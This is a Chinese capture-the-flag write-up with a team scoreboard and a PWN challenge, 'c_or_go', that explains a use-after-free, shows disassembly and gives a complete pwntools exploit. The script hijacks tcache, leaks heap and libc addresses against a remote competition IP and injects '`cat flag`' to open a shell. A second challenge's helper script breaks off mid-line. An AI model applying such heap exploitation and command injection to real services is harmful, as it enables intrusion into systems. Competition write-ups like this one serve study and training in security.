排名 | 队伍 | 总分 |
---|---|---|
1 | W&M | 13740.12 |
2 | Project Sekai | 12955.95 |
3 | 天枢Dubhe | 12828.29 |
4 | S1uM4i | 12191.01 |
5 | _0xFFF_ | 11602.44 |
6 | Arr3stY0u | 10102.44 |
7 | Spirit+ | 10070.27 |
8 | XMCVE-Polaris | 7957.37 |
9 | L3H Sec | 7738 |
10 | 0RAYS | 7669.59 |
PWN
c_or_go
题目交互机制如下表所示
task_type | func_name | address |
---|---|---|
0 | new_user | 0x4da620 |
1 | show_user | 0x4da910 |
2 | delete_user | 0x4da990 |
当输入内容非预期时,则调用 reload (0x4da580) 函数,比如 task_type 为 3 时即可触发。
reload 函数在 (0x4DA5AC) 释放内存时,并未置空指针,导致UAF。
思路
-
构造 UAF 泄漏堆地址
-
劫持 tcache 为堆地址,使得恰好可以控制 show_user 的指针部分。
.text:00000000004DA910 show_user proc near ; CODE XREF: _cgo_22187f6e70a4_Cfunc_show_user+7↓j
.text:00000000004DA910 ; DATA XREF: LOAD:0000000000400B78↑o
.text:00000000004DA910 ; __unwind {
.text:00000000004DA910 endbr64
.text:00000000004DA914 push rbx ; s
.text:00000000004DA915 call find_user
.text:00000000004DA91A test rax, rax
.text:00000000004DA91D jz short loc_4DA980
.text:00000000004DA91F cmp qword ptr [rax+100h], 0
.text:00000000004DA927 mov rbx, rax
.text:00000000004DA92A jz short loc_4DA960
.text:00000000004DA92C
.text:00000000004DA92C loc_4DA92C: ; CODE XREF: show_user+66↓j
.text:00000000004DA92C lea rdi, aUserContent ; "user content:n"
.text:00000000004DA933 call puts
.text:00000000004DA938 mov edx, [rbx+10Ch]
.text:00000000004DA93E mov rsi, [rbx+100h]
.text:00000000004DA945 xor eax, eax
.text:00000000004DA947 mov edi, 1
.text:00000000004DA94C call _write
.text:00000000004DA951 lea rdi, aShowUserConten ; "show user content success"
.text:00000000004DA958 pop rbx
.text:00000000004DA959 jmp puts -
泄漏 puts 函数地址
-
利用后门函数执行shell
脚本
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
sh = None
count = 0
while count < 16:
count += 1
sh = remote('1.95.70.149', 80)
for i in range(9):
sh.sendlineafter(b'Please input your tasksn', b'[{"task_type":0,"content":"' + base64.b64encode(str(i).encode()*8) + b'","username":"' + base64.b64encode(b'uuuu' + str(i).encode()*4) + b'","size":64}]')
sh.sendlineafter(b'Please input your tasksn', b'[{"task_type":3,"content":"' + base64.b64encode(b'unused') + b'","username":"' + base64.b64encode(b'unused') + b'","size":64}]')
sh.sendlineafter(b'Please input your tasksn', b'[{"task_type":1,"content":"' + base64.b64encode(b'unused') + b'","username":"' + base64.b64encode(b'uuuu8888') + b'","size":64}]')
sh.recvuntil(b'content:nn')
sh.recvn(8)
heap_addr = u64(sh.recvn(8))
success('heap_addr: ' + hex(heap_addr))
sh.sendlineafter(b'Please input your tasksn', b'[{"task_type":2,"content":"' + base64.b64encode(b'unused') + b'","username":"' + base64.b64encode(b'uuuu0000') + b'","size":64}]')
sh.sendlineafter(b'Please input your tasksn', b'[{"task_type":0,"content":"' + base64.b64encode(p64(heap_addr+0xff0-0x20)) + b'","username":"' + base64.b64encode(b'dddd1111') + b'","size":64}]')
sh.sendlineafter(b'Please input your tasksn', b'[{"task_type":0,"content":"' + base64.b64encode(b'unused') + b'","username":"' + base64.b64encode(b'dddd2222') + b'","size":64}]')
sh.sendlineafter(b'Please input your tasksn', b'[{"task_type":0,"content":"' + base64.b64encode(b' ' * 0x10 + p64(0x5E0FD8) + p64(0x4000000001)) + b'","username":"' + base64.b64encode(b'dddd3333') + b'","size":64}]')
sh.sendlineafter(b'Please input your tasksn', b'[{"task_type":1,"content":"' + base64.b64encode(b'unused') + b'","username":"' + base64.b64encode(b'dddd1111') + b'","size":64}]')
sh.recvuntil(b'content:nn')
puts_addr = u64(sh.recvn(8))
if (puts_addr & 0xfff) == 0x420:
break
else:
sh.close()
success('puts_addr: ' + hex(puts_addr))
sh.sendlineafter(b'Please input your tasksn', b'[{"task_type":-1,"content":"' + base64.b64encode(b'`cat flag`') + b'","username":"' + base64.b64encode(hex(puts_addr).encode() + b' ') + b'","size":64}]')
sh.interactive()
Vmcode
自己实现的栈和指令码,通过偏移执行各种操作
from pwn import *
from LibcSearcher import *
import ctypes
from struct import pack
import numpy as np
from ctypes import *
from math import log
import warnings
banary = "./pwn"
elf = ELF(banary)
#libc = ELF("./libc.so.6")
#libc=ELF("/home/berial/libc/64bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/64bit/libc-2.23.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
warnings.filterwarnings("ignore", category=BytesWarning)
context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')
def debug(a=''):
if a != '':
gdb.attach(io, a)
pause()
else:
gdb.attach(io)
pause()
def cal(x, y):
return ((x - y) + 0x10000) % 0x10000
def get_sb():
return base + libc.sym['system'], base + next(libc.search(b'/bin/shx00'))
#----------------------------------------------------------------
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
rud = lambda text: io.recvuntil(text, drop=True)
rl = lambda : io.recvline()
uu32 = lambda : u32(io.recvuntil(b"xf7")[-4:].ljust(4, b'x00'))
uu64 = lambda : u64(io.recvuntil(b"x7f")[-6:].ljust(8, b"x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
lss = lambda s :log.success(' 33[1;31;40m%s --> 0x%x